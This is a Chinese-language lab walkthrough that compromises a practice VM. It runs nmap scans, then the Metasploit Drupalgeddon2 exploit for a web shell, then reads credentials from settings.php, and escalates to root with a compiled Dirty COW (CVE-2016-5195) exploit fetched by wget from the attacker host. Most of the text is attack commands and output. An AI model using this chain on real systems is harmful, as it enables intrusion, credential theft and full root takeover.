目录
一、脏牛漏洞概述
二、漏洞复现
1.nmap信息收集
1.1.查看当前IP地址
1.2.扫描当前网段,找出目标机器
1.3.快速扫描目标机全端口
三、访问收集到的资产
192.168.40.134:80
192.168.40.134:1898
四、msf攻击
1.查找对应exp
2.选择对应exp并配置相关设置
五、内网漏洞信息收集
六、漏洞利用
方法一
1.上传漏洞exp进行利用
2.上传exp
3.编译exp并使用python开启一个bash终端
4.执行编译后的exp
5.su登录root账户
方法二
1.通过排查信息,发现网站配置信息
2.ssh连接
3.传入exp并编译执行。
一、脏牛漏洞概述
脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
漏洞范围
Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
漏洞编号
脏牛的CVE编号是CVE-2016-5195。
漏洞危害
低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
漏洞原理
该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。
恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。
利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
二、漏洞复现
- 环境:同一内网下
- 靶机下载:
-
- 链接:百度网盘 请输入提取码
- 提取码:TBUG
1.nmap信息收集
1.1.查看当前IP地址
┌──(root㉿tubug)-[~/桌面]
└─# ifconfig eth0 | grep inet
inet 192.168.40.130 netmask 255.255.255.0 broadcast 192.168.40.255
inet6 fe80::20c:29ff:fe88:e3c prefixlen 64 scopeid 0x20<link>
1.2.扫描当前网段,找出目标机器
┌──(root㉿tubug)-[~/桌面]
└─# nmap -sP 192.168.40.0/24
/*
-s 指定扫描技术
-P ping操作
-sP 使用ping操作来寻找存活主机
*/
发现目标机为:192.168.40.134
1.3.快速扫描目标机全端口
┌──(root㉿tubug)-[~/桌面]
└─# nmap -sS -p 1-65535 192.168.40.134
/*
-sS SYN扫描技术
-p 指定端口
*/
三、访问收集到的资产
192.168.40.134:80
192.168.40.134:1898
访问发现关键信息网站指纹:Drupal
四、msf攻击
1.查找对应exp
┌──(root㉿tubug)-[~/桌面]
└─# msfconsole
msf6 > search drupal
2.选择对应exp并配置相关设置
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.40.134
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > getuid
Server username: www-data
该exp漏洞属于远程代码执行漏洞
构造特殊的HTTP请求,将恶意代码注入到网站的表单处理程序中从而执行恶意代码。
五、内网漏洞信息收集
📎bug.sh
meterpreter > upload /root/bug.sh /tmp/1.sh
meterpreter > shell
pwd
/var/www/html
cd /tmp/
pwd
/tmp
ls
1.sh
bash 1.sh
发现脏牛漏洞,CVE-2016-5195
六、漏洞利用
方法一
1.上传漏洞exp进行利用
📎dcow.cpp
2.上传exp
meterpreter > upload /root/dcow.cpp /tmp/dirtcow.cpp
meterpreter > shell
cd /tmp
3.编译exp并使用python开启一个bash终端
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
4.执行编译后的exp
www-data@lampiao:/tmp$ ./dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
5.su登录root账户
www-data@lampiao:/tmp$ su root
su root
Password: dirtyCowFun
方法二
1.通过排查信息,发现网站配置信息
meterpreter > shell
cd /var/www/html/sites/default/
cat settings.php
发现一个账号以及密码
发现账号不像是正经账号,使用ssh连接提示密码错误,猜测用户名可能另有其人。
cd /home
ls
tiago
进入用户家目录发现一个名位tiago的名称,尝试ssh连接
2.ssh连接
发现是一个普通用户
3.传入exp并编译执行。
使用http协议传输exp至目标机。
注:scp命令需root账号密码。
kali开启网站服务,并将exp存放到网站目录下。使用普通用户下载exp。
root㉿tubug)-[~/桌面]
└─# service apache2 start
┌──(root㉿tubug)-[~]
└─# ls /var/www/html/dcow.cpp
/var/www/html/dcow.cpp
tiago@lampiao:~$ wget http://192.168.40.130/dcow.cpp
tiago@lampiao:~$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
tiago@lampiao:~$ ls
dcow dcow.cpp
tiago@lampiao:~$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
tiago@lampiao:~$ su - root
Password:
root@lampiao:~# id
uid=0(root) gid=0(root) groups=0(root)